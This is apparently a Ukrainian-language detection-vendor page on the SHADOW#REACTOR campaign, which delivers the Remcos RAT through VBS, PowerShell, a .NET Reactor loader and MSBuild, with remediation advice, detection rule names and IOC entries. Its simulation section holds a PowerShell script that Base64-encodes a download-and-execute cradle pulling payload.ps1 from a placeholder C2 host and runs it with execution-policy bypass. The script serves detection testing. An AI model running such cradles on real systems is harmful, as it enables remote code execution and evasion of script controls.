SHADOW#REACTOR – СТЕЙДЖИНГ БЕЗ ТЕКСТУ, .NET REACTOR І ІМПЛАНТАЦІЯ REMCOS RAT В ПАМ’ЯТІ
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
SHADOW#REACTOR — це багатоступенева мережа шкідливого програмного забезпечення для Windows, яка об’єднує заплутаний VBS-ініціатор, завантажувач на базі PowerShell, артефакти інсценування лише у вигляді тексту, завантажувач, захищений .NET Reactor, та виконання MSBuild для остаточного розгортання троянської програми віддаленого доступу (RAT) Remcos.
Дослідження
Дослідники реконструювали потік, починаючи зі скрипта VBS, отриманого з інфраструктури атакуючих, за яким слідують процедури PowerShell, які знову збирають та декодують інсценовані текстові навантаження. Ланцюг продовжується через відбиваюче завантаження .NET-складання в пам’ять та остаточну передачу MSBuild, що запускає виконання RAT Remcos. У звіті документуються текстово-кодувані компоненти, логіка дешифрування та методи збереження доступу.
Усунення
Збільште покриття моніторингу для хостів скриптів і інтерпретаторів, і попереджайте виконання VBS/PowerShell із шляхів, що можуть бути записані користувачем, де це можливо. Додайте виявлення для підозрілої вихідної HTTP-трафіку до виявленої інфраструктури, неправомірного використання MSBuild та відбиваючої завантаження .NET-складання. Контролюйте загальні патерни збереження, включаючи модифікації Run-key та елементи запуску на основі ярликів.
Відповідь
Якщо діяльність SHADOW#REACTOR підтверджується, ізолюйте кінцевий вузол і зупиніть весь ланцюг процесів (wscript.exe → powershell.exe → msbuild.exe). Видаліть усі інсценовані текстові файли та пов’язані артефакти реєстру, а також очистіть шляхом видалення бінарних файлів Remcos та пов’язаних конфігураційних об’єктів. Після цього проведіть ретельний судово-експертний огляд для визначення додаткового компромісу і забезпечте повне усунення.
Потік атаки
Виявлення
LOLBAS WScript / CScript (через process_creation)
Перегляд
Підозрілі рядки PowerShell (через powershell)
Перегляд
Підозрілі бінарні файли / скрипти в автозапуску (через file_event)
Перегляд
Підозрілі файли в загальнодоступному профілі користувача (через file_event)
Перегляд
Підозріле виконання з загальнодоступного профілю користувача (через process_creation)
Перегляд
Виклик підозрілих методів .NET з Powershell (через powershell)
Перегляд
IOC (HashSha256) для виявлення: SHADOW#REACTOR – ТЕКСТОВЕ ІНСЦЕНУВАННЯ, .NET REACTOR ТА ІН-МЕМОРІЙНЕ РОЗГОРТАННЯ REMCOS RAT
Перегляд
IOC (SourceIP) для виявлення: SHADOW#REACTOR – ТЕКСТОВЕ ІНСЦЕНУВАННЯ, .NET REACTOR ТА ІН-МЕМОРІЙНЕ РОЗГОРТАННЯ REMCOS RAT
Перегляд
IOC (DestinationIP) для виявлення: SHADOW#REACTOR – ТЕКСТОВЕ ІНСЦЕНУВАННЯ, .NET REACTOR ТА ІН-МЕМОРІЙНЕ РОЗГОРТАННЯ REMCOS RAT
Перегляд
Виявлення ланцюга інфікування SHADOW#REACTOR [Windows Process Creation]
Перегляд
Виявлення обхідного виконання політики та заплутаних команд PowerShell [Windows Powershell]
Перегляд
Виконання Симуляції
Необхідна умова: Сканування телеметрії та базового рівня повинно пройти.
Мотив: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив повинні прямо відображати виявлені TTP і прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.
-
Наратив атаки та команди:
Атакуючий, який має обмежені права на бічний рух, бажає виконати віддалене навантаження на скомпрометованому Windows-хості, уникаючи звичайних захисних механізмів блокування скриптів. Вони використовують PowerShell з-ExecutionPolicy Bypassщоб ігнорувати обмеження на виконання політики. Шкідливе навантаження заплутане як Base64-кодований рядок, який, при декодуванні, створюєSystem.Net.WebClientоб’єкт для завантаження скрипта PowerShell з сервера C2 та виклик його. Ця комбінація задовольняє всі три критерії виявлення (Обхід виконання політики,FromBase64String,System.Net.WebClient). -
Тестовий регресіонний скрипт:
#-------------------------------------------- # Імітація виконання шкідливого PowerShell #-------------------------------------------- # 1. Створити простий віддалений скрипт (тільки для демонстрації) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Закодируйте скрипт у Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Виконайте з обходом ExecutionPolicy і FromBase64String PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Команди очищення:
# Видалити всі завантажені навантаження та зупинити процеси, що затримались у PowerShell Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue